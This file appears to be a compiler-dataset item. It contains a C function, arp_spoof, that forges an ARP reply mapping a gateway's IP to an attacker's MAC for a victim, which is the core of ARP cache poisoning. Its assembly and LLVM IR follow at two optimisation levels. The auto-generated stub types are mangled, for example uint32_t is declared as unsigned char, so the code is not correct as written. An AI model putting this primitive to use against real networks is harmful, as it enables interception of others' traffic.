#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef unsigned char const uint32_t;
struct sockaddr_ll {
  int sll_halen;
  int /*<<< orphan*/ *sll_addr;
  void *sll_protocol;
  int /*<<< orphan*/ sll_ifindex;
  int /*<<< orphan*/ sll_family;
  int /*<<< orphan*/ member_0;
};
struct sockaddr {
  int dummy;
};
struct ifreq {
  int dummy;
};
struct ether_arp {
  int arp_hln;
  int arp_pln;
  int /*<<< orphan*/ arp_tpa;
  int /*<<< orphan*/ arp_tha;
  int /*<<< orphan*/ arp_spa;
  int /*<<< orphan*/ arp_sha;
  void *arp_op;
  void *arp_pro;
  void *arp_hrd;
};
typedef int /*<<< orphan*/ resp;
typedef int /*<<< orphan*/ in_addr_t;
typedef int /*<<< orphan*/ addr;

/* Variables and functions */
int /*<<< orphan*/ AF_PACKET;
int /*<<< orphan*/ ARPHRD_ETHER;
int /*<<< orphan*/ ARPOP_REPLY;
int ETHER_ADDR_LEN;
int /*<<< orphan*/ ETH_P_ARP;
int /*<<< orphan*/ ETH_P_IP;
int /*<<< orphan*/ die(int /*<<< orphan*/);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ get_ifr_ifindex(int, struct ifreq *);
void *htons(int /*<<< orphan*/);
int /*<<< orphan*/ memcpy(int /*<<< orphan*/ *, unsigned char const *, int);
int sendto(int, struct ether_arp *, int, int /*<<< orphan*/, struct sockaddr *,
           int);
int /*<<< orphan*/ set_ifr_name(struct ifreq *, char const *);
int /*<<< orphan*/ strerror(int /*<<< orphan*/);
void arp_spoof(int fd, const char *if_name, const unsigned char *attacker_mac,
               uint32_t gateway_ip, const unsigned char *victim_mac,
               uint32_t victim_ip) {
  struct ether_arp resp;
  struct ifreq ifr;
  set_ifr_name(&ifr, if_name);
  struct sockaddr_ll addr = {0};
  addr.sll_family = AF_PACKET;
  addr.sll_ifindex = get_ifr_ifindex(fd, &ifr);
  addr.sll_halen = ETHER_ADDR_LEN;
  addr.sll_protocol = htons(ETH_P_ARP);
  memcpy(addr.sll_addr, victim_mac, ETHER_ADDR_LEN);
  resp.arp_hrd = htons(ARPHRD_ETHER);
  resp.arp_pro = htons(ETH_P_IP);
  resp.arp_hln = ETHER_ADDR_LEN;
  resp.arp_pln = sizeof(in_addr_t);
  resp.arp_op = htons(ARPOP_REPLY);
  memcpy(&resp.arp_sha, attacker_mac, sizeof(resp.arp_sha));
  memcpy(&resp.arp_spa, &gateway_ip, sizeof(resp.arp_spa));
  memcpy(&resp.arp_tha, victim_mac, sizeof(resp.arp_tha));
  memcpy(&resp.arp_tpa, &victim_ip, sizeof(resp.arp_tpa));
  if (sendto(fd, &resp, sizeof(resp), 0, (struct sockaddr *)&addr,
             sizeof(addr)) == -1) {
    die(strerror(errno));
  }
}


x86 assembly (clang, -O0):
<arp_spoof>:
push   %rbp
mov    %rsp,%rbp
sub    $0x90,%rsp
mov    %r9b,%al
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %cl,-0x19(%rbp)
mov    %r8,-0x28(%rbp)
mov    %al,-0x29(%rbp)
mov    -0x10(%rbp),%rsi
lea    -0x68(%rbp),%rdi
call   1060 <set_ifr_name@plt>
lea    -0x90(%rbp),%rdi
xor    %esi,%esi
mov    $0x28,%edx
call   1040 <memset@plt>
mov    0x2e06(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x74(%rbp)
mov    -0x4(%rbp),%edi
lea    -0x68(%rbp),%rsi
call   1090 <get_ifr_ifindex@plt>
mov    %eax,-0x78(%rbp)
mov    0x2e0b(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x90(%rbp)
mov    0x2dc4(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x80(%rbp)
mov    -0x88(%rbp),%rdi
mov    -0x28(%rbp),%rsi
mov    0x2ddf(%rip),%rax
mov    (%rax),%edx
call   1070 <memcpy@plt>
mov    0x2dc1(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x38(%rbp)
mov    0x2d8f(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x40(%rbp)
mov    0x2dad(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x60(%rbp)
movl   $0x4,-0x5c(%rbp)
mov    0x2d5a(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,-0x48(%rbp)
lea    -0x60(%rbp),%rdi
add    $0x14,%rdi
mov    -0x18(%rbp),%rsi
mov    $0x4,%edx
call   1070 <memcpy@plt>
lea    -0x60(%rbp),%rdi
add    $0x10,%rdi
lea    -0x19(%rbp),%rsi
mov    $0x4,%edx
call   1070 <memcpy@plt>
lea    -0x60(%rbp),%rdi
add    $0xc,%rdi
mov    -0x28(%rbp),%rsi
mov    $0x4,%edx
call   1070 <memcpy@plt>
lea    -0x60(%rbp),%rdi
add    $0x8,%rdi
lea    -0x29(%rbp),%rsi
mov    $0x4,%edx
call   1070 <memcpy@plt>
mov    -0x4(%rbp),%edi
lea    -0x90(%rbp),%r8
lea    -0x60(%rbp),%rsi
mov    $0x30,%edx
xor    %ecx,%ecx
mov    $0x28,%r9d
call   1050 <sendto@plt>
cmp    $0xffffffff,%eax
jne    12f7 <arp_spoof+0x177>
mov    0x2cdf(%rip),%rax
mov    (%rax),%edi
call   10a0 <strerror@plt>
mov    %eax,%edi
call   1080 <die@plt>
add    $0x90,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<arp_spoof>:
push   %rbp
push   %r15
push   %r14
push   %rbx
sub    $0x68,%rsp
mov    %r8,%rbx
mov    %rdx,%r14
mov    %edi,%r15d
mov    %cl,0x7(%rsp)
mov    %r9b,0x6(%rsp)
lea    0x8(%rsp),%rbp
mov    %rbp,%rdi
call   1050 <set_ifr_name@plt>
xorps  %xmm0,%xmm0
movaps %xmm0,0x50(%rsp)
movaps %xmm0,0x40(%rsp)
movq   $0x0,0x60(%rsp)
mov    0x2e1a(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x5c(%rsp)
mov    %r15d,%edi
mov    %rbp,%rsi
call   1080 <get_ifr_ifindex@plt>
mov    %eax,0x58(%rsp)
mov    0x2e1e(%rip),%rbp
mov    0x0(%rbp),%eax
mov    %eax,0x40(%rsp)
mov    0x2dd8(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,0x50(%rsp)
mov    0x0(%rbp),%edx
xor    %edi,%edi
mov    %rbx,%rsi
call   1060 <memcpy@plt>
mov    0x2de0(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,0x38(%rsp)
mov    0x2dad(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,0x30(%rsp)
mov    0x0(%rbp),%eax
mov    %eax,0x10(%rsp)
movl   $0x4,0x14(%rsp)
mov    0x2d7b(%rip),%rax
mov    (%rax),%edi
call   1030 <htons@plt>
mov    %rax,0x28(%rsp)
lea    0x24(%rsp),%rdi
mov    %r14,%rsi
mov    $0x4,%edx
call   1060 <memcpy@plt>
lea    0x20(%rsp),%rdi
lea    0x7(%rsp),%rsi
mov    $0x4,%edx
call   1060 <memcpy@plt>
lea    0x1c(%rsp),%rdi
mov    %rbx,%rsi
mov    $0x4,%edx
call   1060 <memcpy@plt>
lea    0x18(%rsp),%rdi
lea    0x6(%rsp),%rsi
mov    $0x4,%edx
call   1060 <memcpy@plt>
lea    0x10(%rsp),%rsi
lea    0x40(%rsp),%r8
mov    %r15d,%edi
mov    $0x30,%edx
xor    %ecx,%ecx
mov    $0x28,%r9d
call   1040 <sendto@plt>
cmp    $0xffffffff,%eax
jne    12c6 <arp_spoof+0x156>
mov    0x2d10(%rip),%rax
mov    (%rax),%edi
call   1090 <strerror@plt>
mov    %eax,%edi
call   1070 <die@plt>
add    $0x68,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.ether_arp = type { i32, i32, i32, i32, i32, i32, i8*, i8*, i8* }
%struct.ifreq = type { i32 }
%struct.sockaddr_ll = type { i32, i32*, i8*, i32, i32, i32 }
%struct.sockaddr = type { i32 }
@AF_PACKET = global i32 0
@ETHER_ADDR_LEN = global i32 0
@ETH_P_ARP = global i32 0
@ARPHRD_ETHER = global i32 0
@ETH_P_IP = global i32 0
@ARPOP_REPLY = global i32 0
@errno = global i32 0
define void @arp_spoof(i32 %0, i8* %1, i8* %2, i8 zeroext %3, i8* %4, i8 zeroext %5) {
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8
%11 = alloca i8*
%12 = alloca i8
%13 = alloca %struct.ether_arp
%14 = alloca %struct.ifreq
%15 = alloca %struct.sockaddr_ll
store i32 %0, i32* %7
store i8* %1, i8** %8
store i8* %2, i8** %9
store i8 %3, i8* %10
store i8* %4, i8** %11
store i8 %5, i8* %12
%16 = load i8*, i8** %8
%17 = call i32 @set_ifr_name(%struct.ifreq* %14, i8* %16)
%18 = bitcast %struct.sockaddr_ll* %15 to i8*
%19 = load i32, i32* @AF_PACKET
%20 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %15, i32 0, i32 4
store i32 %19, i32* %20
%21 = load i32, i32* %7
%22 = call i32 @get_ifr_ifindex(i32 %21, %struct.ifreq* %14)
%23 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %15, i32 0, i32 3
store i32 %22, i32* %23
%24 = load i32, i32* @ETHER_ADDR_LEN
%25 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %15, i32 0, i32 0
store i32 %24, i32* %25
%26 = load i32, i32* @ETH_P_ARP
%27 = call i8* @htons(i32 %26)
%28 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %15, i32 0, i32 2
store i8* %27, i8** %28
%29 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %15, i32 0, i32 1
%30 = load i32*, i32** %29
%31 = load i8*, i8** %11
%32 = load i32, i32* @ETHER_ADDR_LEN
%33 = call i32 @memcpy(i32* %30, i8* %31, i32 %32)
%34 = load i32, i32* @ARPHRD_ETHER
%35 = call i8* @htons(i32 %34)
%36 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 8
store i8* %35, i8** %36
%37 = load i32, i32* @ETH_P_IP
%38 = call i8* @htons(i32 %37)
%39 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 7
store i8* %38, i8** %39
%40 = load i32, i32* @ETHER_ADDR_LEN
%41 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 0
store i32 %40, i32* %41
%42 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 1
store i32 4, i32* %42
%43 = load i32, i32* @ARPOP_REPLY
%44 = call i8* @htons(i32 %43)
%45 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 6
store i8* %44, i8** %45
%46 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 5
%47 = load i8*, i8** %9
%48 = call i32 @memcpy(i32* %46, i8* %47, i32 4)
%49 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 4
%50 = call i32 @memcpy(i32* %49, i8* %10, i32 4)
%51 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 3
%52 = load i8*, i8** %11
%53 = call i32 @memcpy(i32* %51, i8* %52, i32 4)
%54 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %13, i32 0, i32 2
%55 = call i32 @memcpy(i32* %54, i8* %12, i32 4)
%56 = load i32, i32* %7
%57 = bitcast %struct.sockaddr_ll* %15 to %struct.sockaddr*
%58 = call i32 @sendto(i32 %56, %struct.ether_arp* %13, i32 48, i32 0, %struct.sockaddr* %57, i32 40)
%59 = icmp eq i32 %58, -1
br i1 %59, label %60, label %64
60: ; preds = %6
%61 = load i32, i32* @errno
%62 = call i32 @strerror(i32 %61)
%63 = call i32 @die(i32 %62)
br label %64
64: ; preds = %60, %6
ret void
}

LLVM IR (-O2):
%struct.ether_arp = type { i32, i32, i32, i32, i32, i32, i8*, i8*, i8* }
%struct.ifreq = type { i32 }
%struct.sockaddr_ll = type { i32, i32*, i8*, i32, i32, i32 }
%struct.sockaddr = type { i32 }
@AF_PACKET = global i32 0
@ETHER_ADDR_LEN = global i32 0
@ETH_P_ARP = global i32 0
@ARPHRD_ETHER = global i32 0
@ETH_P_IP = global i32 0
@ARPOP_REPLY = global i32 0
@errno = global i32 0
define void @arp_spoof(i32 %0, i8* %1, i8* %2, i8 zeroext %3, i8* %4, i8 zeroext %5) {
%7 = alloca i8
%8 = alloca i8
%9 = alloca %struct.ether_arp
%10 = alloca %struct.ifreq
%11 = alloca %struct.sockaddr_ll
store i8 %3, i8* %7
store i8 %5, i8* %8
%12 = bitcast %struct.ether_arp* %9 to i8*
%13 = bitcast %struct.ifreq* %10 to i8*
%14 = call i32 @set_ifr_name(%struct.ifreq* %10, i8* %1)
%15 = bitcast %struct.sockaddr_ll* %11 to i8*
%16 = load i32, i32* @AF_PACKET
%17 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %11, i64 0, i32 4
store i32 %16, i32* %17
%18 = call i32 @get_ifr_ifindex(i32 %0, %struct.ifreq* %10)
%19 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %11, i64 0, i32 3
store i32 %18, i32* %19
%20 = load i32, i32* @ETHER_ADDR_LEN
%21 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %11, i64 0, i32 0
store i32 %20, i32* %21
%22 = load i32, i32* @ETH_P_ARP
%23 = call i8* @htons(i32 %22)
%24 = getelementptr inbounds %struct.sockaddr_ll, %struct.sockaddr_ll* %11, i64 0, i32 2
store i8* %23, i8** %24
%25 = load i32, i32* @ETHER_ADDR_LEN
%26 = call i32 @memcpy(i32* null, i8* %4, i32 %25)
%27 = load i32, i32* @ARPHRD_ETHER
%28 = call i8* @htons(i32 %27)
%29 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 8
store i8* %28, i8** %29
%30 = load i32, i32* @ETH_P_IP
%31 = call i8* @htons(i32 %30)
%32 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 7
store i8* %31, i8** %32
%33 = load i32, i32* @ETHER_ADDR_LEN
%34 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 0
store i32 %33, i32* %34
%35 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 1
store i32 4, i32* %35
%36 = load i32, i32* @ARPOP_REPLY
%37 = call i8* @htons(i32 %36)
%38 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 6
store i8* %37, i8** %38
%39 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 5
%40 = call i32 @memcpy(i32* %39, i8* %2, i32 4)
%41 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 4
%42 = call i32 @memcpy(i32* %41, i8* %7, i32 4)
%43 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 3
%44 = call i32 @memcpy(i32* %43, i8* %4, i32 4)
%45 = getelementptr inbounds %struct.ether_arp, %struct.ether_arp* %9, i64 0, i32 2
%46 = call i32 @memcpy(i32* %45, i8* %8, i32 4)
%47 = bitcast %struct.sockaddr_ll* %11 to %struct.sockaddr*
%48 = call i32 @sendto(i32 %0, %struct.ether_arp* %9, i32 48, i32 0, %struct.sockaddr* %47, i32 40)
%49 = icmp eq i32 %48, -1
br i1 %49, label %50, label %54
50: ; preds = %6
%51 = load i32, i32* @errno
%52 = call i32 @strerror(i32 %51)
%53 = call i32 @die(i32 %52)
br label %54
54: ; preds = %50, %6
ret void
}